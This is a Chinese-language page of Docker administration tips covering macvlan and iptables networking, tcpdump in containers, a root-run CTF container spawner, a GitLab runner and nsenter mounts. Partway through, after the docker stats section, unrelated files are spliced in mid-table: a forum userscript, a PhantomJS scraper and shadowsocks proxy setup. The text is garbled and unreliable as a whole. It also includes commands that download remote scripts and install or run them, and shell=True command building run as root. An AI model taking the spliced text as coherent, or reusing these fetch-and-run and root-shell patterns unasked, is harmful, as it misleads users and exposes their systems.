    可能的IP冲突

    启动容器时可以不指定ip让docker自动分配,警告:如果没有配置ip-range参数,有可能被分配的恰好是主机本身的IP,这种情况将导致主机丢失IP无法联网!

    万一发生这种虚拟机把主机的IP抢占的情况,在没有物理控制方法下不可轻易使用ifconfig修改主机IP,因为一旦使用ifconfig主机的route将被清空、当前主机的其他IP也会丢失,你就丢失远程访问的可能了(也许你可以写一个脚本自动恢复route稳妥一点);但神奇的是即使主机route已经丢失,按照上述macvlan开出来的Docker容器仍然在线(也可以理解——容器的route并没有受到影响,类似于Virtualbox的桥接网卡方式)

    获取macvlan容器的IP

    @TAG getip

    # clean version
    docker inspect --format "{{.NetworkSettings.Networks.macvlan网络名称.IPAddress}}" 容器名称
    
    # dirty but quick version
    docker inspect 容器名称 | grep IP
    

    macvlan查看已经分配的IP

    由于主机和容器不能互通,所以主机如何得知目前已经分配的IP列表呢?用docker network inspect咯,然后用python处理一下输出格式

    下面这个命令列出了容器IP和容器名称:

    docker network inspect macvlan_bridge --format "{{range .Containers}}{{.IPv4Address}}@{{.Name}},,,{{end}}" | python3 -c 'print(input().replace("/24@","\t").replace(",,,","\n"),end="")'|sort
    

    如果只需要IP列表:

    docker network inspect macvlan_bridge --format "{{range .Containers}}{{.IPv4Address}},{{end}}" | python3 -c 'print(input().replace("/24,","\n"),end="")'|sort
    

    主机访问macvlan的容器

    由于内核限制并不支持host直接使用上述指定的ip访问容器,而docker network connect让容器再加入一个网络又会改变容器的默认路由,但我就是想让主机能访问到容器,咋办哩?

    参考:http://blog.oddbit.com/2018/03/12/using-docker-macvlan-networks/

    想访问的容器IP为10.1.1.66,这种方法需要让主机再获得一个IP,例如10.1.1.3。注意这种配置是不持久的,重启后丢失

    DEVICE_NAME="eth0"
    NAME="mynet-shim"
    HOST_GETIP="10.1.1.3"
    TARGET_IP="10.1.1.66"
    
    ip link add $NAME link $DEVICE_NAME type macvlan  mode bridge
    ip addr add $HOST_GETIP/32 dev $NAME
    ip link set $NAME up
    ip route add $TARGET_IP/32 dev $NAME
    

    使用iptables端口转发让Docker容器得到内网IP

    上述基于macvlan的方法容器无法与主机通讯,所以下述基于iptables端口转发的方法更胜一筹

    这种方法基于主机自己去获得一个额外的内网ip后,用iptables端口转发来实现给容器内网IP的效果,容器应用可以得到请求源IP,但容器向外发起的tcp请求还是主机自身的默认IP

    该脚本运行时需要两个参数 第一个为容器名称 第二个为新的IP后缀

    举个例子 主机在10.12.34.x这个内网地址段 且可以随意得到这个地址段的内网IP,现在要给mysql容器10.12.34.202这个IP,运行方式就是./give_container_ip.sh mysql 202

    记得修改下面的IPPREFIX和ETH0变量!

    give_container_ip.sh

    @TAG 端口转发

    #!/bin/bash
    set -ex
    shopt -s expand_aliases
    
    if [ -z $1 ] && [ -z $2 ]; then
        echo "Usage: $0 <container name> <new IP suffix>"
        echo "Example: $0 u202 202"
        exit 1
    fi
    
    alias getip="docker inspect  --format '{{.NetworkSettings.IPAddress}}' "
    
    IPPREFIX="10.12.34."
    ETH0="eth0"
    sudo ifconfig $ETH0:$2 $IPPREFIX$2 netmask 255.255.255.0 up
    sudo iptables -t nat -I PREROUTING -d $IPPREFIX$2 -p tcp -j DNAT --to `getip $1`
    sudo iptables -t nat -I POSTROUTING -s `getip $1`/32 -d `getip $1`/32 -p tcp -m tcp -j MASQUERADE
    

    为什么最后用MASQUERADE而不用SNAT呢?因为用SNAT容器的应用就不能得到请求的源IP,在实际应用中是无法接受的;这一条iptables规则是我用docker run -piptables-save得到的


    对容器网络流量tcpdump

    Learned from: https://www.slideshare.net/SreenivasMakam/docker-networking-common-issues-and-troubleshooting-techniques

    docker run -ti --net container:<containerid> nicolaka/netshoot tcpdump -i eth0 -n port 80
    

    举个例子,上述启动了nginx容器并分配了内网ip 10.1.1.100,我们来收集80端口的流量,并保存到/tmp/pcapfiles/nginx.pcap文件:

    docker run -ti --net container:f5fc -v /tmp/pcapfiles:/data nicolaka/netshoot tcpdump -i eth0 -n -s0 -w /data/nginx.pcap port 80
    

    查看tcpdump参数解释explainshell


    修改正在运行的容器的重启策略

    docker run的时候忘了指定restart=always,除了commit后再正确地run一遍之外有没有更加优雅的修改容器参数的方法呢?

    参考: https://stackoverflow.com/questions/26852321/docker-add-a-restart-policy-to-a-container-that-was-already-created

    在1.11版本后有了docker update这个命令,可以修改正在运行的容器的参数,如CPU限制、内存限制 和 重启策略

    使目前运行的所有容器都设置为自动重启:

    docker update --restart=always `docker ps -q`
    

    如果要取消这个自动重启,改为--restart=no即可


    快速部署samba

    @TAG share

    镜像地址:dperson/samba

    快速分享一个目录/data,用户名user密码badpassword

    docker run -d -p 139:139 -p 445:445 --name samba -v /data:/data dperson/samba -u "user;badpassword" -s "data;/data;yes;no;no;all"
    

    其中-u指定用户名密码;-s参数的格式为:

    给访问者看的分享名称;物理位置;是否列出;未登录可否访问;允许访问的用户(all表示所有用户)


    按需分配容器 过期自动销毁

    @TAG ctf xinetd

    有些题目需要给每个人单独的容器,为了节约资源还需要设置一个时间,过期后自动删除容器

    为了防止滥用还要引入Proof Of Work,回答正确后才分配容器

    Warning

    该代码直接用的docker命令来创建容器,且需要root权限,注意使用上的安全风险

    代码如下:utils.py

    #/usr/bin/python3
    #coding:utf-8
    import subprocess
    import time
    import string
    import os
    import hashlib
    import random
    from random import randint
    
    # 限时设定
    def clock(timeout=5):
        import signal
        def signal_handler(signum,data):
            if signum == signal.SIGALRM:
                print("Time is up!")
                exit()
        signal.signal(signal.SIGALRM, signal_handler)
        signal.alarm(int(timeout))
    
    # 生成随机字符串
    def randomstring(len=5):
        return ''.join(random.sample(string.ascii_letters,len))
    
    # 计算md5
    def md5(src):
        return hashlib.md5(bytes(src,encoding='utf-8')).hexdigest()
    
    # 显示一个随机字符串,要求用户计算其md5
    def pow_calcmd5():
        question = randomstring()
        answer = md5(question)
        print("Please calculate md5(%s)="%question,end='')
        if input()!=answer:
            exit()
    
    # 显示一个随机字符串,要求用户输入另一个字符串满足md5以difficulty个0开头
    def pow_realmd5(difficulty=4):
        question = randomstring()
        print("[Proof Of Work]")
        print("Please calculate s, make that \n    md5(\"%s\"+s).startswith('%s')"%(question,'0'*difficulty))
        print("Input your s:",end='')
        s = input()
        if not md5(question+s).startswith('0'*difficulty):
            exit()
    
    # 从镜像启动容器
    def start_container(image, port, paramstring):
        """
        image:镜像名称
        port: 需要映射的端口
        paramstring: 额外的参数设置字符串 如"-v /d/blabla:/data"
    
        返回(容器ID, 映射得到的端口)
        """
        container = subprocess.check_output("docker run -d -p :"+str(port)+" "+paramstring+" "+image+" /run.sh",shell=True).decode().replace("\n","")
        inspect = subprocess.check_output("docker inspect --format '{{.NetworkSettings.Ports}}' %s"%container,shell=True).decode().replace("\n","")
        openport = inspect.split("{")[1].split()[1].split("}")[0]
        return (container, openport)
    
    # 计划在minutes分钟后销毁容器container 需要atd服务
    def plan_stop_container(container, minutes):
        PATH = os.getcwd()
        minutes = str(minutes)
        filename = "%s_%d"%(time.strftime("%Y_%m_%d_%H_%M_%S"),randint(0,666))
        open(PATH+"/"+filename,"w").write("docker kill %s && docker rm %s && rm %s/%s"%(container,container,PATH,filename))
        subprocess.check_output("at now + %s minutes -f %s 2>/dev/null"%(minutes,filename),shell=True)
    
    # 生成一个runner的二进制程序,xinetd并不支持直接运行python
    if __name__ == "__main__":
        print("[*] writing to runner.c")
        path = os.getcwd()
        open("runner.c","w").write("""#include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    int main(){
       chdir("%s");
       system("python3 %s/runner.py");
       return 0;
    }
    """%(path, path))
        print("[*] compile runner.c to runner")
        os.system("gcc runner.c -o runner")
    

    用到的xinetd配置:runner.conf,注意保存的时候不能有\r :set ff=unix

    service 题目名称
    {
        socket_type = stream
        protocol    = tcp
        wait        = no
        user        = root
        bind        = 0.0.0.0
        server      = /绝对路径/runner
        type        = UNLISTED
        port        = 端口号
        disable = no
    }
    

    在容器A中使用别名访问容器B

    容器A是web应用,需要访问redis的容器B,如果用docker inspect拿到现在容器B的IP写入到配置,一旦docker重启这个容器IP就会发生变化

    更好的方式是使用docker的自定义网络:创建网络,把redis加入网络,把app加入网络

    docker network create useredis
    docker network connect --alias redis useredis redis
    docker network connect --alias app useredis app
    

    在加入网络的时候指定–alias即可,网络中的其他容器就能通过这个alias访问到,这样操作后app容器里面就能ping redis了


    修复Docker更新到18.02后部分容器无法start的问题

    apt说可以更新,于是就更新了,然而却悲催地发现部分容器无法启动,报错信息:

    docker start <container_name> returns "container <hash> already exists"
    

    Google找到了相关issue在这里

    不删容器重建、不回滚Docker的解决方案为:

    sudo docker-containerd-ctr --namespace moby --address /run/docker/containerd/docker-containerd.sock c rm `docker inspect --format '{{.Id}}' 无法启动的容器名称`
    

    注意需要输入的是那个很长的容器id,所以先用docker inspect获取其长Id

    如果docker-containerd-ctr 不存在,也许你使用的是Docker for mac,需要这么操作:

    docker run -it --rm -v /:/host alpine /host/usr/local/bin/docker-containerd-ctr  --namespace moby --address /host/run/docker/containerd/docker-containerd.sock c rm 出错的容器id
    

    解决docker exec -it进入容器屏幕大小不对的问题

    发现docker exec -it进入容器的bash后tty的大小不对 只有80x24,参考这个 https://github.com/moby/moby/issues/35407

    解决方案:在进入容器时配置环境变量COLUMNS和LINES为正确值即可,为了便于操作与记忆,写~/.bashrc咯:

    function din(){
        docker exec -ti --env COLUMNS=`tput cols` --env LINES=`tput lines` $1 /bin/bash
    }
    alias din=din
    

    使用的时候只需要din 容器名称就能进入容器bash啦,这样进入容器vim也能全屏幕显示了


    不使用docker pull也能下载到镜像

    该脚本存在问题,下载到的镜像层可能无法导入,仍待研究

    github上官方有下载脚本: https://github.com/moby/moby/blob/master/contrib/download-frozen-image-v2.sh

    使用的时候第一个参数是目录名称,第二个是镜像名称:latest,其中:tag是必须要写的

    下述命令下载脚本,替换为从阿里云下载,最后打包成golang.tar (由于下载到的layer的tar包已经是gzip压缩过的 没必要再7zip压缩)

    wget https://raw.githubusercontent.com/moby/moby/master/contrib/download-frozen-image-v2.sh
    sed -i 's/registry-1.docker.io/h0kyslzs.mirror.aliyuncs.com/g' download-frozen-image-v2.sh
    sed -i 's/token="$(/token="" #/g' download-frozen-image-v2.sh
    chmod +x download-frozen-image-v2.sh
    ./download-frozen-image-v2.sh /tmp/golang google/golang:latest
    tar -vf golang.tar -cC '/tmp/golang' . 
    

    然后就可以传输golang.tar,导入方法很简单

    docker load < golang.tar
    

    启动另一个Docker Daemon进程

    有时候需要进行build操作,发现根目录剩余空间不够了,但另外一块硬盘还有空间,整体迁移/var/lib/docker或合并两个硬盘为lvm又不现实,这时就可以开启一个新的Docker Daemon,把Docker使用的目录设置为另一块硬盘

    参考:http://blog.alpaca.ai/run-multiple-docker-daemons-with-net-container/

    docker工作目录假设为/home/cy/docker

    第一次执行:

    OFFSET=0
    u="cy"
    BRIDGE_NAME=br_${u}
    DOCKER_ROOT=/home/${u}/docker
    mkdir -p ${DOCKER_ROOT}
    brctl addbr ${BRIDGE_NAME}
    SUBNET=$(expr 52 + ${OFFSET})
    ip addr add 172.18.${SUBNET}.1/24 dev ${BRIDGE_NAME}
    ip link set dev ${BRIDGE_NAME} up
    iptables -t nat -A POSTROUTING -j MASQUERADE -s 172.18.${SUBNET}.0/24 -d 0.0.0.0/0
    

    运行dockerd执行:

    u="cy"
    BRIDGE_NAME=br_${u}
    DOCKER_ROOT=/home/${u}/docker
          dockerd -D \
            -g ${DOCKER_ROOT}/g \
            --exec-root=${DOCKER_ROOT}/e \
            -b ${BRIDGE_NAME} \
            --dns=8.8.8.8 \
            --iptables=true \
            -H unix://${DOCKER_ROOT}/docker.sock \
            -p ${DOCKER_ROOT}/docker.pid
    

    配置使用Docker版本的Gitlab CI

    参考文档:

    • 官方教程 https://docs.gitlab.com/runner/
    • 高级配置 https://docs.gitlab.com/runner/configuration/advanced-configuration.html

    人家这东西本质上是一个docker容器,但是把主机的docker sock传入到容器中,所以容器内可以创建容器

    我这里的教程着重解决两个问题:使用自定义的镜像,设置DNS

    第一步当然是pull人家的runner镜像咯

    docker pull gitlab/gitlab-runner
    

    第二步 获取CI连接时需要的token

    在管理员界面 Overview下Runners点开即可看到

    网址: /admin/runners

    第三步 注册以生成初始的配置信息

    参考https://docs.gitlab.com/runner/register/index.html#docker

    假设容器配置文件保存在/dockerfiles/gitlabrunner中,其中docker-image是默认跑任务的镜像

    docker run --rm -t -i -v /dockerfiles/gitlabrunner:/etc/gitlab-runner --dns 10.0.0.1 gitlab/gitlab-runner  register  --non-interactive \
      --url "https://gitlab.com/" \
      --registration-token "上一步获得的token" \
      --executor "docker" \
      --docker-image myubuntu:latest \
      --description "docker-runner" \
      --run-untagged \
      --locked="false"
    

    第四步 修改配置文件

    参考高级配置 https://docs.gitlab.com/runner/configuration/advanced-configuration.html 和 https://docs.gitlab.com/runner/executors/docker.html#how-pull-policies-work

    cd /dockerfiles/gitlabrunner #你的配置文件目录
    sudo vim config.yml
    

    为了跑本地已经存在的镜像(默认为always表示只能跑dockerhub上的),在[runners.docker]中需要添加:

    pull_policy = "never"
    

    或者这里你也可以使用”if-not-present” 不存在就pull

    另外 如果需要修改容器DNS,也添加进去即可

    dns = ["10.0.0.1"]
    

    第五步 启动runner容器

    如果需要改dns,这里也别忘记写上

    docker run -d --name gitlab-runner --restart always \
      -v /dockerfiles/gitlabrunner:/etc/gitlab-runner \
      -v /var/run/docker.sock:/var/run/docker.sock \
      --dns 10.0.0.1 \
      gitlab/gitlab-runner:latest
    

    第六步 创建一个新的repo来测试一下吧

    新建.gitlab-ci.yml文件,这里使用自己编译的myubuntu镜像

    image: myubuntu:latest
    test:app:
      script:
      - echo ok
      - curl ip.cn
    

    然后在gitlab的仓库页面 最新的一次commit message右侧就有CI成功与否状态的图标 点进去看详细日志咯


    为已经存在的容器创建临时端口映射 socat

    @TAG 端口转发

    出于学习目的,想快速地建立一下临时的Docker容器端口映射

    用socat咯:

    socat TCP4-LISTEN:9300,fork TCP4:172.17.0.3:9300
    

    如果没有socat,可以:

    docker run -ti --rm --net host bobrik/socat TCP4-LISTEN:9300 TCP4:172.17.0.3:9300
    

    查看所有容器内存占用 并排序

    docker stats就能看到实时更新的结果,但并没有提供排序功能

    docker stats --no-stream|sort -h -r -k 4,4
    

    排序列对应关系如下:

    ... updateNode = updateNode.firstChild.firstChild.firstChild.firstChild; } // TODO: allow for a DOM node as content updateNode.innerHTML = content; } // }}} GM_addStyle(` /* Default DOM Tooltip Style */ div.domTT { border: 1px solid #333333; background-color: #333333; max-height: 60%; overflow: auto; } div.domTT .caption { font-family: serif; font-size: 12px; font-weight: bold; padding: 1px 2px; color: #FFFFFF; } div.domTT .contents { font-size: 12px; font-family: sans-serif; padding: 3px 2px; background-color: #F1F1FF; word-break: break-all; word-wrap: break-word; white-space: pre-line; } /* Classic Style */ div.domTTClassic { border: 1px solid black; background-color: InfoBackground; } div.domTTClassic .caption { font-family: serif; font-size: 13px; _font-size: 12px; font-weight: bold; font-style: italic; padding: 1px 2px; } div.domTTClassic .contents { color: InfoText; font-size: 13px; _font-size: 12px; font-family: Arial, sans-serif; padding: 1px 2px; _padding-bottom: 0; } /* Win9x Style */ div.domTTWin { border: 2px outset #BFBFBF; background-color: #808080 } div.domTTWin .caption { border: 0px solid #BFBFBF; border-width: 1px 1px 0px 1px; background-color: #00007F; padding: 2px; font-size: 12px; font-weight: bold; font-family: sans-serif; color: white; } div.domTTWin .contents { border: 1px solid #BFBFBF; } /* Overlib Style */ div.domTTOverlib { border: 1px solid #333366; background-color: #333366; } div.domTTOverlib .caption { font-family: Verdana, Helvetica; font-size: 10px; font-weight: bold; color: #FFFFFF; } div.domTTOverlib .contents { font-size: 10px; font-family: Verdana, Helvetica; padding: 2px; background-color: #F1F1FF; } /* Nicetitle Style */ div.niceTitle { background-color: #333333; color: #FFFFFF; font-weight: bold; font-size: 13px; font-family: "Trebuchet MS", sans-serif; width: 250px; left: 0; top: 0; padding: 4px; position: absolute; text-align: left; z-index: 20; -moz-border-radius: 0 10px 10px 10px; filter: progid:DXImageTransform.Microsoft.Alpha(opacity=87); -moz-opacity: .87; -khtml-opacity: .87; opacity: .87; } div.niceTitle .contents { margin: 0; padding: 0 3px; filter: progid:DXImageTransform.Microsoft.Alpha(opacity=100); -moz-opacity: 1; -khtml-opacity: 1; opacity: 1; } div.niceTitle p { color: #D17E62; font-size: 9px; padding: 3px 0 0 0; margin: 0; text-align: left; -moz-opacity: 1; } /* Context Menu Style */ div.domTTMenu { width: 150px; border: 2px outset #E6E6E6; } div.domTTMenu .caption { font-size: 12px; font-family: sans-serif; background-color: #E6E6E6; } div.domTTMenu .contents { padding: 1px 0; background-color: #E6E6E6; } div.domTT .contents img { max-width: 100%; } .emotac01, .emotac02, .emotac03, .emotac04, .emotac05, .emotac06, .emotac07, .emotac08, .emotac09, .emotac10, .emotac1003, .emotac11, .emotac12, .emotac13, .emotac14, .emotac15, .emotac16, .emotac17, .emotac18, .emotac19, .emotac20, .emotac22, .emotac23, .emotac24, .emotac25, .emotac26, .emotac32, .emotac39, .emotac43, .emotac52 { max-width: 100%; background-size: 100%; background-image: url('https://file.cc98.org/v2-upload/43yyjnlr.png'); } .emotac01 { background-position: 0 0%; background-size: 100%; } .emotac02 { background-position: 0 3.448276%; background-size: 100%; } .emotac03 { background-position: 0 6.896552%; background-size: 100%; } .emotac04 { background-position: 0 10.344828%; background-size: 100%; } .emotac05 { background-position: 0 13.793103%; background-size: 100%; } .emotac06 { background-position: 0 17.241379%; background-size: 100%; } .emotac07 { background-position: 0 20.689655%; background-size: 100%; } .emotac08 { background-position: 0 24.137931%; background-size: 100%; } .emotac09 { background-position: 0 27.586207%; background-size: 100%; } .emotac10 { background-position: 0 31.034483%; background-size: 100%; } .emotac1003 { background-position: 0 34.482759%; background-size: 100%; } .emotac11 { background-position: 0 37.931034%; background-size: 100%; } .emotac12 { background-position: 0 41.37931%; background-size: 100%; } .emotac13 { background-position: 0 44.827586%; background-size: 100%; } .emotac14 { background-position: 0 48.275862%; background-size: 100%; } .emotac15 { background-position: 0 51.724138%; background-size: 100%; } .emotac16 { background-position: 0 55.172414%; background-size: 100%; } .emotac17 { background-position: 0 58.62069%; background-size: 100%; } .emotac18 { background-position: 0 62.068966%; background-size: 100%; } .emotac19 { background-position: 0 65.517241%; background-size: 100%; } .emotac20 { background-position: 0 68.965517%; background-size: 100%; } .emotac22 { background-position: 0 72.413793%; background-size: 100%; } .emotac23 { background-position: 0 75.862069%; background-size: 100%; } .emotac24 { background-position: 0 79.310345%; background-size: 100%; } .emotac25 { background-position: 0 82.758621%; background-size: 100%; } .emotac26 { background-position: 0 86.206897%; background-size: 100%; } .emotac32 { background-position: 0 89.655172%; background-size: 100%; } .emotac39 { background-position: 0 93.103448%; background-size: 100%; } .emotac43 { background-position: 0 96.551724%; background-size: 100%; } .emotac52 { background-position: 0 100%; background-size: 100%; } `); var cache_content = {}; var oldlength = {}; var oldurl = {}; function handletarget(target){ var focustopictitle = $(target); if (focustopictitle.length == oldlength[target] && document.location.href == oldurl[target]){return;} $("[id^='__autoId']").each(function(){$(this).removeAttr("id");}) oldlength[target] = focustopictitle.length; oldurl[target] = document.location.href; //console.log("unbind mouseover "+target); focustopictitle.unbind('mouseover'); focustopictitle.mouseover( function(event){ var thisx = this; var title=$(this).text(); var topicid; if(target==".focus-topic-title"||target=='a[href^="/topic/"]'){ var href=$(this).attr('href'); topicid = href.split("/")[2]; }else if(target==".listTitle"){ topicid = $(this).attr('id').replace("title",""); }else{ return; } var content; var width=400; if(window.innerWidth<420) width = window.innerWidth-20; if(window.innerWidth>1000) width=700; if(typeof(cache_content[topicid])!='undefined'){ content = cache_content[topicid]; domTT_activate(thisx, event, 'content', content, 'trail', false, 'direction', 'southeast', 'clearMouse', true, 'delay', 0, 'maxWidth', width, 'caption', title, 'type', 'velcro', 'draggable', false); }else{ console.log("request "+topicid); GM_xmlhttpRequest({method:"GET", url:"https://cc98.tech/topic/"+topicid+"/onmouseover",responseType:"json",onload: function (response) { content=JSON.parse(response.responseText).html; cache_content[topicid] = content; domTT_activate(thisx, event, 'content', content, 'trail', false, 'direction', 'southeast', 'clearMouse', true, 'delay', 0, 'maxWidth', width, 'caption', title, 'type', 'velcro', 'draggable', false); }}); } } ); } setInterval(function(){ handletarget(".focus-topic-title"); handletarget(".listTitle"); if(/message/.test(document.location.href)) handletarget('a[href^="/topic/"]'); },2000); ================================================ FILE: code/spider.oncokb.js ================================================ var system = require('system'); var NAME=system.args[1]; var page = require('webpage').create(); var fs = require('fs'); var fp = fs.open("output_"+NAME+".html","w"); page.settings.userAgent = 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36'; page.viewportSize = { width: 1920, height: 1080 }; url="http://oncokb.org/#/gene/"+NAME; function capture(){ console.log("save..."); page.render('output_'+NAME+'.pdf',{format: 'pdf', quality: '100'}); fp.write(page.content); fp.close(); phantom.exit(); } function timeout(){ console.log("Timeout!"); var flog=fs.open("tiemout.log","a"); flog.write(NAME); flog.close(); } page.onResourceReceived = function(response) { //console.log('Receive ' + JSON.stringify(response, undefined, 4)); //console.log(response.url); if(response.url.indexOf("http")==0){ console.log(response.url); } if(response.url.indexOf("http://www.cbioportal.org/api-legacy/studies")!=-1){ console.log("ok..."); setTimeout(capture,5000); } }; page.open(url); setTimeout(timeout,120000); ================================================ FILE: code/ssgit.txt ================================================ #假设已经开好ss的客户端在127.0.0.1:1080了 echo """ #!/bin/bash nc -x 127.0.0.1:1080 -X5 $* """>~/proxy-wrapper chmod +x ~/proxy-wrapper echo """ Host github github.com Hostname github.com User git ProxyCommand $HOME/proxy-wrapper '%h %p' """>>~/.ssh/config chmod 700 ~/.ssh/config #现在就可以欢快地高速`git clone`啦~ ================================================ FILE: code/ssprivoxy.txt ================================================ #----------------------- #本代码将安装shadowsocks和privoxy #执行后再运行的apt-get等操作将通过shadowsocks以提高网络访问速度 # #适用场景: # 在优质网络服务器上搭建好ss后 用于 提升国内服务器/自己电脑的网速 # #PS: 如果您只需要简单开个代理,建议使用tinyproxy #----------------------- #安装shadowsocks,使用豆瓣源 mkdir -p ~/.pip echo """ [global] index-url = http://pypi.doubanio.com/simple/ [install] trusted-host=pypi.doubanio.com """>~/.pip/pip.conf pip install shadowsocks #在screen中运行sslocal screen -S ss sslocal ... #直接运行有参数说明的,这里就不细说了 #按下Ctrl+A d,测试一下: curl ip.cn --proxy socks5://127.0.0.1:1080 #安装privoxy: apt-get install -y privoxy echo """ user-manual /usr/share/doc/privoxy/user-manual confdir /etc/privoxy logdir /var/log/privoxy actionsfile match-all.action actionsfile user.action logfile logfile toggle 1 enable-remote-toggle 0 enable-remote-http-toggle 0 enable-edit-actions 0 enforce-blocks 0 buffer-limit 4096 enable-proxy-authentication-forwarding 0 forwarded-connect-retries 0 accept-intercepted-requests 0 allow-cgi-request-crunching 0 split-large-forms 0 keep-alive-timeout 5 tolerate-pipelining 1 socket-timeout 300 listen-address 127.0.0.1:8118 forward-socks5 / 127.0.0.1:1080 . """>/etc/privoxy/config service privoxy restart #安装好了privoxy就可以修改系统环境变量设置代理啦: export http_proxy="http://127.0.0.1:8118" export https_proxy="http://127.0.0.1:8118" #测试一下: curl ip.cn #大功告成~ ================================================ FILE: code/staticwebsite_template_compile.py ================================================ import os import re from bs4 import BeautifulSoup TEMPLATE_NAMES = [i.replace(".template.html","") for i in os.listdir(".") if ".template.html" in i] TEMPLATE = {} for t in TEMPLATE_NAMES: TEMPLATE[t] = open(t+".template.html", encoding="utf-8").read() if t=="speaker_people": # for person sort by pic src, example: chen_yan.jpg soup = BeautifulSoup(TEMPLATE[t],"html.parser") data = [] tmp = [] for tr in soup.find_all("tr"): img = tr.find("img") if img is not None: if len(tmp): data.append(tmp) tmp=[] tmp.append(img["src"]) tmp.append(tr.find("strong").text) else: tmp.append(str(tr)) data.append(tmp) speaker_people = "" for person in sorted(data): speaker_people += """
    %s
    列号 列名
    3 CPU
    4 内存
    8 网络流入
    10 网络流出
    11 文件写入
    13 文件读取
    14 容器内线程数量(PID数)

    运行中的容器添加目录挂载

    Docker自身只允许在创建容器的时候指定-v进行目录挂载,怎么在不停止容器的情况下增加挂载呢?

    注意此方法在容器重启后即失效,需要重新挂载

    参考:https://medium.com/kokster/mount-volumes-into-a-running-container-65a967bee3b5

    方法是把块设备挂载到容器中,然后可以使用bind mount

    假设容器名称为app_container,需要挂载/dev/sdb1这个设备,命令如下:

    Step1: 首先要查看设备id以便在容器中mknod创建设备,然后使用nsenter使用主机的权限挂载设备

    Step2: 现在就可以在容器中使用/tmpmount读取到设备了,但如果我们只需要挂载其中一个文件夹 例如设备的data文件夹挂载到容器的/newdata,还可以继续执行:

    Step3: 最后清理掉临时挂载的/tmpmount 不会影响bind mount挂载出来的/newdata

    CONTAINER_NAME="app_container"
    DEVICE_NAME="/dev/sdb1"
    MOUNT_SRC="data"
    MOUNT_TARGET="/newdata"
    
    # Step1
    x=$(grep $DEVICE_NAME /proc/self/mountinfo|cut -d ' ' -f 3)
    docker exec -it -u root $CONTAINER_NAME sh -c "[ -b $DEVICE_NAME ] || mknod -m 0600 $DEVICE_NAME b ${x/:/ }"
    sudo nsenter --target "$(docker inspect --format '{{.State.Pid}}' $CONTAINER_NAME)" --mount --uts --ipc --net --pid --  sh -c "mkdir -p /tmpmount;mount $DEVICE_NAME /tmpmount"
    
    # Step2
    sudo nsenter --target "$(docker inspect --format '{{.State.Pid}}' $CONTAINER_NAME)" --mount --uts --ipc --net --pid -- sh -c "mkdir -p $MOUNT_TARGET; mount -o bind /tmpmount/$MOUNT_SRC $MOUNT_TARGET"
    
    # Step3
    sudo nsenter --target "$(docker inspect --format '{{.State.Pid}}' $CONTAINER_NAME)" --mount --uts --ipc --net --pid -- sh -c "umount /tmpmount"
    

    Docker使用32位镜像

    例如ubuntu16.04.5 32位镜像 从这里下载i386后缀的ubuntu-base-16.04.5-base-i386.tar.gz

    http://cdimage.ubuntu.com/ubuntu-base/releases/16.04/release/

    下载了之后直接交给docker导入即可:docker import 文档

    cat ubuntu-base-16.04.5-base-i386.tar.gz|docker import - ubuntu1604_32bit
    

    找到/var/lib/docker中容器的数据存储目录

    使用docker-backup:

    curl -Lo /usr/local/bin/docker-backup https://raw.githubusercontent.com/vincepare/docker-backup/master/docker-backup.sh && chmod +x /usr/local/bin/docker-backup
    
    docker-backup ls -w container
    

    举个例子 Apache容器由于/tmp/httpd_lua_shm.1的存在跑不起来,试试直接删除容器内的这个文件

    for i in `d ps -a|grep Exit|grep minutes|awk '{print $1}'`; do rm `docker-backup ls -w $i`/tmp/httpd_lua_shm.1; d start $i ; done
    

    搬运服务器后网段变化 直接修改Docker底层数据库和配置文件修复macvlan网络

    需求:服务器机房搬迁,从10.214.10.x变为10.214.160.x,配置的macvlan容器就不能访问了

    Docker没有提供修改网络配置的方法,我们就直接改Docker的数据库和配置文件呗

    不这样直接改底层文件也是可以的,需要先disconnect旧的macvlan所有容器,然后删掉重建这个network,再一个个加回来

    网络配置的数据库在/var/lib/docker/network/files/local-kv.db,本质上是boltdb,需要使用docker的libkv来进行访问

    注意到ip前缀的长度发生了变化,直接sed是不行的,会损坏数据库(如果长度没变可以直接sed),操作前记得备份

    参考 https://blog.qiqitori.com/?p=463

    加以修改,需要在docker pull golang:1.8中编译运行

    package main
    
    import (
        "time"
        "log"
        "strings"
        "github.com/docker/libkv"
        "github.com/docker/libkv/store"
        "github.com/docker/libkv/store/boltdb"
    )
    
    func init() {
        // Register boltdb store to libkv
        boltdb.Register()
    }
    
    func main() {
        client := "./local-kv.db" // ./ appears to be necessary
    
        // Initialize a new store
        kv, err := libkv.NewStore(
            store.BOLTDB, // or "boltdb"
            []string{client},
            &store.Config{
                Bucket: "libnetwork",
                ConnectionTimeout: 10*time.Second,
            },
        )
        if err != nil {
            log.Fatalf("Cannot create store: %v", err)
        }
    
        pair, err := kv.List("docker/network")
        for _, p := range pair {
            println("key:", string(p.Key))
            val := strings.Replace(string(p.Value), "10.214.10.", "10.214.160.", -1)
            println("value:", val)
            err = kv.Put(p.Key, []byte(val), nil)
        }
    }
    

    其中需要注意golang1.8的strings没有ReplaceAll方法;string转bytes数组用[]byte(...)即可;println不是fmt库的,是往stderr输出的

    除了网络数据库还需要修改容器的.json配置文件:/var/lib/docker/containers/*/*.json

    sed -i 's/10.214.10./10.214.160./g' /var/lib/docker/containers/*/*.json
    

    然后就能启动docker了,如果有容器的当前ip已经被其他设备占用,可以通过脱离网络再加入来修改ip

    docker network disconnect macvlan_name container_name
    docker network connect macvlan_name container_name --ip 新的ip
    

    如果新的ip还是ping不了,试试重启容器

    获取2个月前退出的容器列表,以空格分隔

    docker ps -a --format '{{.Names}} {{.Status}}'|grep "2 month"|awk '{print $1}'|tr '\r\n' ' '
    

    容器内没有ping, ip?直接nsenter进去看看

    netin(){
        nsenter --target `docker inspect --format '{{.State.Pid}}' $1`  --net --pid /bin/bash
    }
    

    这是进入docker容器的namespace,但只切换网络和/proc,文件系统等还是使用主机的

    进入后bash似乎没变,这时可以ps看看进程列表变了就说明在容器里面了,然后可以愉快地ifconfig和ping了

    也可以使用ip命令指定netns的方式ip netns exec 名称 命令

    #!/bin/bash
    NAME="container name"
    mkdir -p /var/run/netns
    ID=`docker inspect --format='{{ .State.Pid }}' $NAME`
    sudo ln -sf "/proc/$ID/ns/net" /var/run/netns/$NAME
    exec sudo ip netns exec $NAME "$@"
    

    为macvlan的容器配置只允许IP段访问

    将容器暴露在整个内网还是不够安全,不如使用iptables只允许特定IP段访问这个容器的IP

